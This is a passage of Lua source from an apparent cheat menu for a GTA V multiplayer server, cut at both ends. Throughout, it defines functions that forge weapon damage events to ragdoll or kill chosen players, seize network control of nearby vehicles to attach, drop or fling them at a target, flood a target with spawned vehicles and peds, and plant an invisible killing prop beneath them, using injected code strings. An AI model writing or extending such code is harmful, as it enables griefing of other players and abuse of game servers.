DetachEntity(PlayerPedId(), true, true) SetEntityCoords(PlayerPedId(), originalX, originalY, originalZ, false, false, false, true) end) ]], targetPed, playerCoords.x, playerCoords.y, playerCoords.z, safeSpawn, targetPed ) menu.utils.safeExecute(code) menu.utils.notify("Attaching vehicle to player...", "success", 2000) end function assembledMenuFunctions.__banPlayerRunSpawnEffect(getTargetPed) CreateThread(function() local targetPed = getTargetPed() if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then menu.utils.notify("Target invalid or dead.", "error", 2000) return end local rpgHash = GetHashKey("WEAPON_RPG") GiveWeaponToPed(targetPed, rpgHash, 20, false, true) SetCurrentPedWeapon(targetPed, rpgHash, true) local pedModel = GetHashKey("s_m_y_construct_01") local coneModel = GetHashKey("prop_roadcone02a") local vehicleModel = GetHashKey("khanjali") RequestModel(pedModel) RequestModel(coneModel) RequestModel(vehicleModel) local timeout = GetGameTimer() + 8000 while (not HasModelLoaded(pedModel) or not HasModelLoaded(coneModel) or not HasModelLoaded(vehicleModel)) and timeout > GetGameTimer() do Wait(0) end if not HasModelLoaded(pedModel) or not HasModelLoaded(coneModel) or not HasModelLoaded(vehicleModel) then menu.utils.notify("Ban player: model load failed.", "error", 2500) return end local function getSpawnCoords(index, entity) local offsetX = (index - 1) % 10 * 2.4 - 10.8 local offsetY = math.floor((index - 1) / 10) * 2.4 - 6.0 return GetOffsetFromEntityInWorldCoords(entity, 20.0 + offsetX, offsetY, 0.75) end for index = 1, 50, 1 do targetPed = getTargetPed() if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then break end local heading = GetEntityHeading(targetPed) local coords = getSpawnCoords(index, targetPed) local vehicle = CreateVehicle(vehicleModel, coords.x, coords.y, coords.z, heading, true, false) if vehicle and vehicle ~= 0 then SetEntityAsMissionEntity(vehicle, true, true) end Wait(0) end for index = 1, 50, 1 do targetPed = getTargetPed() if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then break end local heading = GetEntityHeading(targetPed) local coords = getSpawnCoords(index, targetPed) local ped = CreatePed(4, pedModel, coords.x, coords.y, coords.z, heading, true, false) if ped and ped ~= 0 and DoesEntityExist(ped) then SetEntityAsMissionEntity(ped, true, true) menu.utils.markMenuSpawnedPed(ped) end Wait(0) end for index = 1, 50, 1 do targetPed = getTargetPed() if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then break end local coords = getSpawnCoords(index, targetPed) local object = CreateObject(coneModel, coords.x, coords.y, coords.z, true, true, false) if object and object ~= 0 then SetEntityAsMissionEntity(object, true, true) end Wait(0) end SetModelAsNoLongerNeeded(pedModel) SetModelAsNoLongerNeeded(coneModel) SetModelAsNoLongerNeeded(vehicleModel) end) end function assembledMenuFunctions.banPlayer(option) if not option or not option.targetInfo then return end if menu.utils.isTargetFriend(option.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end local serverId = tonumber(option.targetInfo.serverId) if not serverId or serverId <= 0 then return end menu.functions.__banPlayerRunSpawnEffect(function() return GetPlayerPed(GetPlayerFromServerId(serverId)) end) end function assembledMenuFunctions.banPlayerVanityAtLocalPed() menu.functions.__banPlayerRunSpawnEffect(function() return PlayerPedId() end) end function assembledMenuFunctions.ragdollPlayerButton(options) if not options or not options.targetInfo or not options.targetInfo.ped then return end local serverId = tonumber(options.targetInfo.serverId) if not serverId or serverId <= 0 then return end if menu.utils.isTargetFriend(options.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end local targetPed = options.targetInfo.ped if not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then return end CreateThread(function() local weaponHash = GetHashKey("weapon_stunrod") local maxDistance = 93.0 for _ = 1, 12, 1 do local playerPed = PlayerPedId() local currentPed = GetPlayerPed(GetPlayerFromServerId(serverId)) if not currentPed or currentPed == 0 or not DoesEntityExist(currentPed) or IsEntityDead(currentPed) then return end local distance = #(GetEntityCoords(playerPed) - GetEntityCoords(currentPed)) if maxDistance < distance then return end local eventDistance = #(GetEntityCoords(playerPed) - GetEntityCoords(currentPed)) Ham.sendWeaponDamageEvent(serverId, { weaponHash = weaponHash, damage = 0, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = 20, overrideDamage = true, damageTime = GetNetworkTimeAccurate(), f133 = true, isNetTargetPos = true, damageFlags = 513, f112Data = eventDistance }) Wait(220) end end) end function assembledMenuFunctions.grandExplosionRagdollPlayer(options) if not options or not options.targetInfo or not options.targetInfo.ped then return end local serverId = tonumber(options.targetInfo.serverId) if not serverId or serverId <= 0 then return end if menu.utils.isTargetFriend(options.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end local targetPed = options.targetInfo.ped if not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then return end CreateThread(function() local weaponHash = GetHashKey("WEAPON_GRENADE") local maxDistance = 93.0 for _ = 1, 4, 1 do local playerPed = PlayerPedId() local currentPed = GetPlayerPed(GetPlayerFromServerId(serverId)) if not currentPed or currentPed == 0 or not DoesEntityExist(currentPed) or IsEntityDead(currentPed) then return end local distance = #(GetEntityCoords(playerPed) - GetEntityCoords(currentPed)) if maxDistance < distance then return end local eventDistance = #(GetEntityCoords(playerPed) - GetEntityCoords(currentPed)) Ham.sendWeaponDamageEvent(serverId, { weaponHash = weaponHash, damage = 0, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = 20, overrideDamage = true, damageTime = GetNetworkTimeAccurate(), f133 = true, isNetTargetPos = true, damageFlags = 513, f112Data = eventDistance }) Wait(100) end end) end function assembledMenuFunctions.grandHamRagdollPlayer(options) if not options or not options.targetInfo or not options.targetInfo.ped then return end local weaponName = options.funcArg or options.weaponHash or "weapon_stunrod" local serverId = tonumber(options.targetInfo.serverId) if not serverId or serverId <= 0 then return end if menu.utils.isTargetFriend(options.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end local targetPed = options.targetInfo.ped if not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then return end CreateThread(function() local weaponHash = GetHashKey(weaponName) local maxDistance = 93.0 for _ = 1, 12, 1 do local playerPed = PlayerPedId() local currentPed = GetPlayerPed(GetPlayerFromServerId(serverId)) if not currentPed or currentPed == 0 or not DoesEntityExist(currentPed) or IsEntityDead(currentPed) then return end local distance = #(GetEntityCoords(playerPed) - GetEntityCoords(currentPed)) if maxDistance < distance then return end local eventDistance = #(GetEntityCoords(playerPed) - GetEntityCoords(currentPed)) Ham.sendWeaponDamageEvent(serverId, { weaponHash = weaponHash, damage = 0, damageType = 3, hitGlobalId = 0, parentGlobalId = 0, hitComponent = 20, overrideDamage = true, damageTime = GetNetworkTimeAccurate(), f133 = true, isNetTargetPos = true, damageFlags = 513, f112Data = eventDistance }) Wait(220) end end) end function assembledMenuFunctions.grandAttachNearbyEmptyVehicles(option) if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if not option or not option.targetInfo then return end local serverId = tonumber(option.targetInfo.serverId) if not serverId or serverId <= 0 then return end if menu.utils.isTargetFriend(option.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end CreateThread(function() local function getTargetPed() local playerId = GetPlayerFromServerId(serverId) if not playerId or playerId == -1 or not NetworkIsPlayerActive(playerId) then return nil end local targetPed = GetPlayerPed(playerId) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then return nil end return targetPed end local targetPed = getTargetPed() if not targetPed then menu.utils.notify("Target not found.", "error", 2000) return end local function isVehicleEmpty(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return false end for seat = -1, GetVehicleMaxNumberOfPassengers(entity) - 1, 1 do if not IsVehicleSeatFree(entity, seat) then return false end end return true end local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) local originalHeading = GetEntityHeading(playerPed) local inVehicle = IsPedInAnyVehicle(playerPed, false) local currentVehicle = inVehicle and GetVehiclePedIsIn(playerPed, false) or 0 local lastVehicle = GetVehiclePedIsIn(playerPed, true) local originalSeat = -1 if inVehicle and currentVehicle ~= 0 then for seat = -1, GetVehicleMaxNumberOfPassengers(currentVehicle) - 1, 1 do if GetPedInVehicleSeat(currentVehicle, seat) == playerPed then originalSeat = seat break end end end local controlledVehicles = {} local seen = {} local uncontrolledVehicles = {} local maxDistance = 500.0 for _, vehicle in ipairs(GetGamePool("CVehicle") or {}) do if DoesEntityExist(vehicle) and vehicle ~= currentVehicle and vehicle ~= lastVehicle and not seen[vehicle] and isVehicleEmpty(vehicle) then local distance = #(originalCoords - GetEntityCoords(vehicle)) if maxDistance >= distance then seen[vehicle] = true if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end NetworkRequestControlOfEntity(vehicle) if NetworkHasControlOfEntity(vehicle) then controlledVehicles[#controlledVehicles + 1] = vehicle else uncontrolledVehicles[#uncontrolledVehicles + 1] = vehicle end end end end if 0 < #uncontrolledVehicles then menu.utils.withTempPlayerInvisibility(function() for _, vehicle in ipairs(uncontrolledVehicles) do if DoesEntityExist(vehicle) and isVehicleEmpty(vehicle) then SetPedIntoVehicle(playerPed, vehicle, -1) Wait(80) TaskLeaveVehicle(playerPed, vehicle, 16) Wait(0) if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end NetworkRequestControlOfEntity(vehicle) if NetworkHasControlOfEntity(vehicle) then controlledVehicles[#controlledVehicles + 1] = vehicle end end end if inVehicle and currentVehicle ~= 0 and DoesEntityExist(currentVehicle) then SetPedIntoVehicle(playerPed, currentVehicle, originalSeat) return end SetEntityCoordsNoOffset( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false ) SetEntityHeading(playerPed, originalHeading) end) end targetPed = getTargetPed() if not targetPed then menu.utils.notify("Target not found.", "error", 2000) return end if #controlledVehicles == 0 then menu.utils.notify("No empty vehicles found within 500m.", "info", 2500) return end local attachments = {} for index, vehicle in ipairs(controlledVehicles) do local height = (index - 1) * 0.2 attachments[#attachments + 1] = string.format( [[ do local vehicle = %d if DoesEntityExist(vehicle) and DoesEntityExist(targetPed) then if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end SetEntityAsMissionEntity(vehicle, true, true) local netId = NetworkGetNetworkIdFromEntity(vehicle) if netId and netId ~= 0 then if SetNetworkIdExistsOnAllMachines then SetNetworkIdExistsOnAllMachines(netId, true) end SetNetworkIdCanMigrate(netId, false) end local attempts = 0 while not NetworkHasControlOfEntity(vehicle) and attempts < 40 do NetworkRequestControlOfEntity(vehicle) if netId and netId ~= 0 and NetworkRequestControlOfNetworkId then NetworkRequestControlOfNetworkId(netId) end Citizen.Wait(50) attempts = attempts + 1 end if NetworkHasControlOfEntity(vehicle) then if IsEntityAttached(vehicle) then DetachEntity(vehicle, true, true) end SetEntityCollision(vehicle, false, false) AttachEntityToEntity(vehicle, targetPed, 0, 0.0, 0.0, %.4f, 90.0, 0.0, 0.0, true, true, false, true, 1, true) end end end ]], vehicle, height ) end local code = string.format( [[ Citizen.CreateThread(function() local targetPed = %d if not targetPed or not DoesEntityExist(targetPed) then return end if not NetworkGetEntityIsNetworked(targetPed) then NetworkRegisterEntityAsNetworked(targetPed) end NetworkRequestControlOfEntity(targetPed) local tAttempts = 0 while not NetworkHasControlOfEntity(targetPed) and tAttempts < 20 do NetworkRequestControlOfEntity(targetPed) Citizen.Wait(50) tAttempts = tAttempts + 1 end %s end) ]], targetPed, table.concat(attachments, "\n") ) menu.utils.safeExecute(code) menu.utils.notify(string.format("Attached %d vehicle(s) to player.", #controlledVehicles), "success", 3000) end) end function assembledMenuFunctions.grandVehicleRain(option) if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if not option or not option.targetInfo then return end local serverId = tonumber(option.targetInfo.serverId) if not serverId or serverId <= 0 then return end if menu.utils.isTargetFriend(option.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end CreateThread(function() local function getTargetPed() local playerId = GetPlayerFromServerId(serverId) if not playerId or playerId == -1 or not NetworkIsPlayerActive(playerId) then return nil end local targetPed = GetPlayerPed(playerId) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then return nil end return targetPed end local targetPed = getTargetPed() if not targetPed then menu.utils.notify("Target not found.", "error", 2000) return end local function isVehicleEmpty(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return false end for seat = -1, GetVehicleMaxNumberOfPassengers(entity) - 1, 1 do if not IsVehicleSeatFree(entity, seat) then return false end end return true end local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) local originalHeading = GetEntityHeading(playerPed) local inVehicle = IsPedInAnyVehicle(playerPed, false) local currentVehicle = inVehicle and GetVehiclePedIsIn(playerPed, false) or 0 local lastVehicle = GetVehiclePedIsIn(playerPed, true) local originalSeat = -1 if inVehicle and currentVehicle ~= 0 then for seat = -1, GetVehicleMaxNumberOfPassengers(currentVehicle) - 1, 1 do if GetPedInVehicleSeat(currentVehicle, seat) == playerPed then originalSeat = seat break end end end local controlledVehicles = {} local seen = {} local uncontrolledVehicles = {} local maxDistance = 500.0 for _, vehicle in ipairs(GetGamePool("CVehicle") or {}) do if DoesEntityExist(vehicle) and vehicle ~= currentVehicle and vehicle ~= lastVehicle and not seen[vehicle] and isVehicleEmpty(vehicle) then local distance = #(originalCoords - GetEntityCoords(vehicle)) if maxDistance >= distance then seen[vehicle] = true if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end NetworkRequestControlOfEntity(vehicle) if NetworkHasControlOfEntity(vehicle) then controlledVehicles[#controlledVehicles + 1] = vehicle else uncontrolledVehicles[#uncontrolledVehicles + 1] = vehicle end end end end if 0 < #uncontrolledVehicles then menu.utils.withTempPlayerInvisibility(function() for _, vehicle in ipairs(uncontrolledVehicles) do if DoesEntityExist(vehicle) and isVehicleEmpty(vehicle) then SetPedIntoVehicle(playerPed, vehicle, -1) Wait(80) TaskLeaveVehicle(playerPed, vehicle, 16) Wait(0) if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end NetworkRequestControlOfEntity(vehicle) if NetworkHasControlOfEntity(vehicle) then controlledVehicles[#controlledVehicles + 1] = vehicle end end end if inVehicle and currentVehicle ~= 0 and DoesEntityExist(currentVehicle) then SetPedIntoVehicle(playerPed, currentVehicle, originalSeat) return end SetEntityCoordsNoOffset( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false ) SetEntityHeading(playerPed, originalHeading) end) end if #controlledVehicles == 0 then menu.utils.notify("No empty vehicles found within 500m.", "info", 2500) return end targetPed = getTargetPed() if not targetPed then menu.utils.notify("Target not found.", "error", 2000) return end playerPed = PlayerPedId() local attachedVehicles = {} for index, vehicle in ipairs(controlledVehicles) do if DoesEntityExist(vehicle) then if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end NetworkRequestControlOfEntity(vehicle) if NetworkHasControlOfEntity(vehicle) then DetachEntity(vehicle, true, true) SetEntityCollision(vehicle, false, false) local angle = (index - 1) * 137.5 * 0.0174533 local radius = 1.5 + math.floor((index - 1) / 8) * 2.0 local offsetX = math.cos(angle) * radius local offsetY = math.sin(angle) * radius local offsetZ = -1.5 - index % 4 * 1.2 AttachEntityToEntity( vehicle, playerPed, 0, offsetX, offsetY, offsetZ, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) attachedVehicles[#attachedVehicles + 1] = vehicle end end end if #attachedVehicles == 0 then menu.utils.notify("Could not attach any vehicles.", "error", 2500) return end local targetCoords = GetEntityCoords(targetPed) SetEntityCoordsNoOffset( playerPed, targetCoords.x, targetCoords.y, targetCoords.z + 10.0, false, false, false ) Wait(150) for _, vehicle in ipairs(attachedVehicles) do if DoesEntityExist(vehicle) then DetachEntity(vehicle, true, true) SetEntityCollision(vehicle, true, true) ActivatePhysics(vehicle) end end SetEntityCoordsNoOffset( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false ) SetEntityHeading(playerPed, originalHeading) menu.utils.notify(string.format("Vehicle rain: dropped %d vehicle(s).", #attachedVehicles), "success", 3000) end) end function assembledMenuFunctions.grandLaunchAttack(option) if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if not option or not option.targetInfo then return end local serverId = tonumber(option.targetInfo.serverId) if not serverId or serverId <= 0 then return end if menu.utils.isTargetFriend(option.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end CreateThread(function() local function getTargetPed() local playerId = GetPlayerFromServerId(serverId) if not playerId or playerId == -1 or not NetworkIsPlayerActive(playerId) then return nil end local targetPed = GetPlayerPed(playerId) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then return nil end return targetPed end local targetPed = getTargetPed() if not targetPed then menu.utils.notify("Target not found.", "error", 2000) return end local function isVehicleEmpty(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return false end for seat = -1, GetVehicleMaxNumberOfPassengers(entity) - 1, 1 do if not IsVehicleSeatFree(entity, seat) then return false end end return true end local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) local originalHeading = GetEntityHeading(playerPed) local inVehicle = IsPedInAnyVehicle(playerPed, false) local currentVehicle = inVehicle and GetVehiclePedIsIn(playerPed, false) or 0 local lastVehicle = GetVehiclePedIsIn(playerPed, true) local originalSeat = -1 if inVehicle and currentVehicle ~= 0 then for seat = -1, GetVehicleMaxNumberOfPassengers(currentVehicle) - 1, 1 do if GetPedInVehicleSeat(currentVehicle, seat) == playerPed then originalSeat = seat break end end end local controlledVehicles = {} local seen = {} local uncontrolledVehicles = {} local maxDistance = 500.0 for _, vehicle in ipairs(GetGamePool("CVehicle") or {}) do if DoesEntityExist(vehicle) and vehicle ~= currentVehicle and vehicle ~= lastVehicle and not seen[vehicle] and isVehicleEmpty(vehicle) then local distance = #(originalCoords - GetEntityCoords(vehicle)) if maxDistance >= distance then seen[vehicle] = true if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end NetworkRequestControlOfEntity(vehicle) if NetworkHasControlOfEntity(vehicle) then controlledVehicles[#controlledVehicles + 1] = vehicle else uncontrolledVehicles[#uncontrolledVehicles + 1] = vehicle end end end end if 0 < #uncontrolledVehicles then menu.utils.withTempPlayerInvisibility(function() for _, vehicle in ipairs(uncontrolledVehicles) do if DoesEntityExist(vehicle) and isVehicleEmpty(vehicle) then SetPedIntoVehicle(playerPed, vehicle, -1) Wait(80) TaskLeaveVehicle(playerPed, vehicle, 16) Wait(0) if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end NetworkRequestControlOfEntity(vehicle) if NetworkHasControlOfEntity(vehicle) then controlledVehicles[#controlledVehicles + 1] = vehicle end end end if inVehicle and currentVehicle ~= 0 and DoesEntityExist(currentVehicle) then SetPedIntoVehicle(playerPed, currentVehicle, originalSeat) return end SetEntityCoordsNoOffset( playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false ) SetEntityHeading(playerPed, originalHeading) end) end if #controlledVehicles == 0 then menu.utils.notify("No empty vehicles found within 500m.", "info", 2500) return end targetPed = getTargetPed() if not targetPed then menu.utils.notify("Target not found.", "error", 2000) return end local launchedVehicles = {} for index, vehicle in ipairs(controlledVehicles) do if DoesEntityExist(vehicle) and DoesEntityExist(targetPed) then if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end NetworkRequestControlOfEntity(vehicle) if NetworkHasControlOfEntity(vehicle) then local targetCoords = GetEntityCoords(targetPed) local angle = (index - 1) * 137.5 * 0.0174533 local offsetX = math.cos(angle) * 1.2 local offsetY = math.sin(angle) * 1.2 local foundGround, groundZ = GetGroundZFor_3dCoord(targetCoords.x, targetCoords.y, targetCoords.z + 50.0, false) local spawnZ = foundGround and groundZ - 20.0 or targetCoords.z - 20.0 SetEntityAsMissionEntity(vehicle, true, true) SetVehicleHasBeenOwnedByPlayer(vehicle, true) FreezeEntityPosition(vehicle, false) SetEntityCoordsNoOffset( vehicle, targetCoords.x + offsetX, targetCoords.y + offsetY, spawnZ, false, false, false ) SetEntityVelocity(vehicle, 0.0, 0.0, 0.0) launchedVehicles[#launchedVehicles + 1] = vehicle end end end if #launchedVehicles == 0 then menu.utils.notify("Could not teleport any vehicles.", "error", 2500) return end Wait(1000) for _, vehicle in ipairs(launchedVehicles) do if DoesEntityExist(vehicle) then NetworkRequestControlOfEntity(vehicle) if NetworkHasControlOfEntity(vehicle) then ActivatePhysics(vehicle) SetEntityVelocity(vehicle, 0.0, 0.0, 150.0) end end end menu.utils.notify(string.format("Launch attack: flung %d vehicle(s).", #launchedVehicles), "success", 3000) end) end function assembledMenuFunctions.vehicleRain(option) if not option or not option.targetInfo then return end if not menu.utils.isVehicleWhitelisted("asea") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local targetPed = option.targetInfo.ped local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 local code = string.format( [[ CreateThread(function() local targetPed = %d if not targetPed or not DoesEntityExist(targetPed) then return end local function collectNearbyVehicleModels(centerCoords) local models = {} local seen = {} local bmxHash = GetHashKey("bmx") local bf400Hash = GetHashKey("bf400") for _, existingVehicle in ipairs(GetGamePool("CVehicle") or {}) do if DoesEntityExist(existingVehicle) then local distance = #(centerCoords - GetEntityCoords(existingVehicle)) if distance <= 500.0 then local nearbyModel = GetEntityModel(existingVehicle) if nearbyModel and nearbyModel ~= 0 and IsThisModelACar(nearbyModel) and not IsThisModelABike(nearbyModel) and nearbyModel ~= bmxHash and nearbyModel ~= bf400Hash then local nearbyModelName = GetDisplayNameFromVehicleModel(nearbyModel) if nearbyModelName and nearbyModelName ~= "" and nearbyModelName ~= "CARNOTFOUND" then nearbyModelName = string.lower(nearbyModelName) if not seen[nearbyModelName] then seen[nearbyModelName] = true models[#models + 1] = nearbyModelName end end end end end end if #models == 0 then models[1] = "asea" end return models end local function dropVehicle(modelName) if not targetPed or not DoesEntityExist(targetPed) then return end local pedCoords = GetEntityCoords(targetPed) local dropHeight = 28.0 local fallSpeed = -48.0 local spawnCoords = vector3(pedCoords.x, pedCoords.y, pedCoords.z + dropHeight) local veh = nil _G.Citizen.Bongs.utils.spawnVehicle(modelName, spawnCoords, GetEntityHeading(targetPed), function(vehicle) if vehicle and DoesEntityExist(vehicle) then veh = vehicle end end, %d) local waitCount = 0 while veh == nil and waitCount < 100 do Wait(10) waitCount = waitCount + 1 end if not veh or not DoesEntityExist(veh) then return end local heading = GetEntityHeading(targetPed) SetEntityAsMissionEntity(veh, true, true) SetEntityCoordsNoOffset(veh, pedCoords.x, pedCoords.y, pedCoords.z + dropHeight, false, false, false) SetEntityRotation(veh, 0.0, 0.0, heading, 2, true) FreezeEntityPosition(veh, true) Wait(350) if DoesEntityExist(veh) then FreezeEntityPosition(veh, false) ActivatePhysics(veh) SetEntityRotation(veh, 0.0, 0.0, heading, 2, true) SetEntityVelocity(veh, 0.0, 0.0, fallSpeed) CreateThread(function() local dropVeh = veh while dropVeh and DoesEntityExist(dropVeh) do local vehCoords = GetEntityCoords(dropVeh) local groundZ = pedCoords.z if vehCoords.z <= groundZ + 1.5 then break end SetEntityRotation(dropVeh, 0.0, 0.0, heading, 2, true) local vel = GetEntityVelocity(dropVeh) if vel.z > fallSpeed then SetEntityVelocity(dropVeh, 0.0, 0.0, fallSpeed) end Wait(0) end end) end end local models = collectNearbyVehicleModels(GetEntityCoords(targetPed)) for i = 1, 5 do if not targetPed or not DoesEntityExist(targetPed) then break end local modelName = models[((i - 1) %% #models) + 1] dropVehicle(modelName) if i < 5 then Wait(1500) end end end) ]], targetPed, safeSpawn ) menu.utils.notify("Vehicle rain started...", "success", 2000) menu.utils.safeExecute(code) end function assembledMenuFunctions.spawnSilentKillPropForServerId(serverId) serverId = tonumber(serverId) if not serverId or serverId <= 0 then return end local playerId = GetPlayerFromServerId(serverId) if not playerId or playerId == -1 or not NetworkIsPlayerActive(playerId) then return end local targetPed = GetPlayerPed(playerId) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return end if menu.utils.isPedFriend(targetPed) then return end local objectModel = "prop_sub_trans_02a" if not menu.utils.isObjectWhitelisted(objectModel) then return end local code = string.format( [[ Citizen.CreateThread(function() local targetServerId = %d local targetPed = GetPlayerPed(GetPlayerFromServerId(targetServerId)) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return end local objectHash = GetHashKey("prop_sub_trans_02a") if not IsModelInCdimage(objectHash) then return end RequestModel(objectHash) local loadTimeout = GetGameTimer() + 5000 while not HasModelLoaded(objectHash) and GetGameTimer() < loadTimeout do Citizen.Wait(0) end if not HasModelLoaded(objectHash) then SetModelAsNoLongerNeeded(objectHash) return end local pedCoords = GetEntityCoords(targetPed) local spawnedObject = CreateObject(objectHash, pedCoords.x, pedCoords.y, pedCoords.z - 3.05, true, true, true) if not spawnedObject or spawnedObject == 0 or not DoesEntityExist(spawnedObject) then SetModelAsNoLongerNeeded(objectHash) return end SetEntityHeading(spawnedObject, GetEntityHeading(targetPed)) local networkTimeout = GetGameTimer() + 3000 repeat SetEntityVisible(spawnedObject, false, false) SetEntityCollision(spawnedObject, true, true) SetEntityInvincible(spawnedObject, true) Citizen.Wait(50) until NetworkGetEntityIsNetworked(spawnedObject) or GetGameTimer() >= networkTimeout SetEntityVisible(spawnedObject, false, false) SetEntityCollision(spawnedObject, true, true) SetEntityInvincible(spawnedObject, true) Citizen.Wait(500) Citizen.CreateThread(function() local startTime = GetGameTimer() while DoesEntityExist(spawnedObject) and (GetGameTimer() - startTime) < 5000 do Citizen.Wait(5) targetPed = GetPlayerPed(GetPlayerFromServerId(targetServerId)) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then break end local pCoords = GetEntityCoords(targetPed) SetEntityCoordsNoOffset(spawnedObject, pCoords.x, pCoords.y, pCoords.z - 3.05, false, false, false) end if DoesEntityExist(spawnedObject) then DeleteEntity(spawnedObject) end end) SetModelAsNoLongerNeeded(objectHash) end) ]], serverId ) menu.utils.safeExecute(code) end function assembledMenuFunctions.silentKillProp(option) if not option or not option.targetInfo then return end if menu.utils.isTargetFriend(option.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end if not menu.utils.isObjectWhitelisted("prop_sub_trans_02a") then menu.utils.notify("Object is blacklisted", "error", 2000) return end menu.functions.spawnSilentKillPropForServerId(option.targetInfo.serverId) end function assembledMenuFunctions.explosionPlayerFreecam(options) if not Ham or not Ham.sendWeaponDamageEvent then menu.utils.notify("Ham not available", "error", 2000) return end if not options or not options.targetInfo then return end local targetInfo = options.targetInfo local serverId = tonumber(targetInfo.serverId) if not serverId or serverId <= 0 then return end if serverId == GetPlayerServerId(PlayerId()) then menu.utils.notify("You cannot use this on yourself", "error") return end if menu.utils.isTargetFriend(targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) return end CreateThread(function() local targetServerId = serverId local weaponHash = menu.utils.getSpawnExplosionWeaponHash() local boneId = 24818 local targetPed = GetPlayerPed(GetPlayerFromServerId(targetServerId)) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then return end local targetCoordinates = GetEntityCoords(targetPed) local effectPosition = vector3(targetCoordinates.x, targetCoordinates.y, targetCoordinates.z) RequestCollisionAtCoord(effectPosition.x, effectPosition.y, effectPosition.z) RequestAdditionalCollisionAtCoord(effectPosition.x, effectPosition.y, effectPosition.z) local effectScript = [[ RequestNamedPtfxAsset("core") local deadline = GetGameTimer() + 1500 while not HasNamedPtfxAssetLoaded("core") and GetGameTimer() < deadline do Wait(0) end if HasNamedPtfxAssetLoaded("core") then UseParticleFxAsset("core") StartParticleFxNonLoopedAtCoord("exp_air_rpg", %.8f, %.8f, %.8f, 0.0, 0.0, 0.0, 1.15, false, false, false) end ]] local formattedScript = string.format(effectScript, effectPosition.x, effectPosition.y, effectPosition.z + 0.15) menu.utils.safeExecute(menu.utils.freecamWrapSpawnExecuteCode(formattedScript)) for _ = 1, 60, 1 do local currentPed = GetPlayerPed(GetPlayerFromServerId(targetServerId)) if not currentPed or currentPed == 0 or not DoesEntityExist(currentPed) or IsEntityDead(currentPed) or IsPedDeadOrDying(currentPed, true) then return end local networkId = NetworkGetNetworkIdFromEntity(currentPed) if not networkId or networkId == 0 then return end local distance = #(GetEntityCoords(PlayerPedId()) - GetEntityCoords(currentPed)) local boneCoords = GetPedBoneCoords(currentPed, boneId, 0.0, 0.0, 0.0) if not boneCoords or not boneCoords.x then return end local offset = GetOffsetFromEntityGivenWorldCoords(currentPed, boneCoords.x, boneCoords.y, boneCoords.z) if not offset or offset.x == nil then return end Ham.sendWeaponDamageEvent(targetServerId, { weaponHash = weaponHash, damage = 200, damageType = 3, hitGlobalId = networkId, hitComponent = 0, overrideDamage = true, damageFlags = 0, actionResultName = 0, actionResultId = 0, f104 = 0, isNetTargetPos = true, localPosX = offset.x, localPosY = offset.y, localPosZ = offset.z, f112Data = distance, willKill = true, f133 = false, hasImpactDir = false, hitEntityWeapon = false, hitWeaponAmmoAttachment = false, silenced = false }) Wait(75) end end) end function assembledMenuFunctions.blackholePlayer(toggleOptions) if not toggleOptions or not toggleOptions.targetInfo or not toggleOptions.targetInfo.ped then return end local targetPed = toggleOptions.targetInfo.ped local serverId = tonumber(toggleOptions.targetInfo.serverId) if not serverId or serverId <= 0 then return end if toggleOptions.toggleState then if menu.utils.isTargetFriend(toggleOptions.targetInfo) then menu.utils.notify("Blocked: target is a friend.", "info", 2000) if 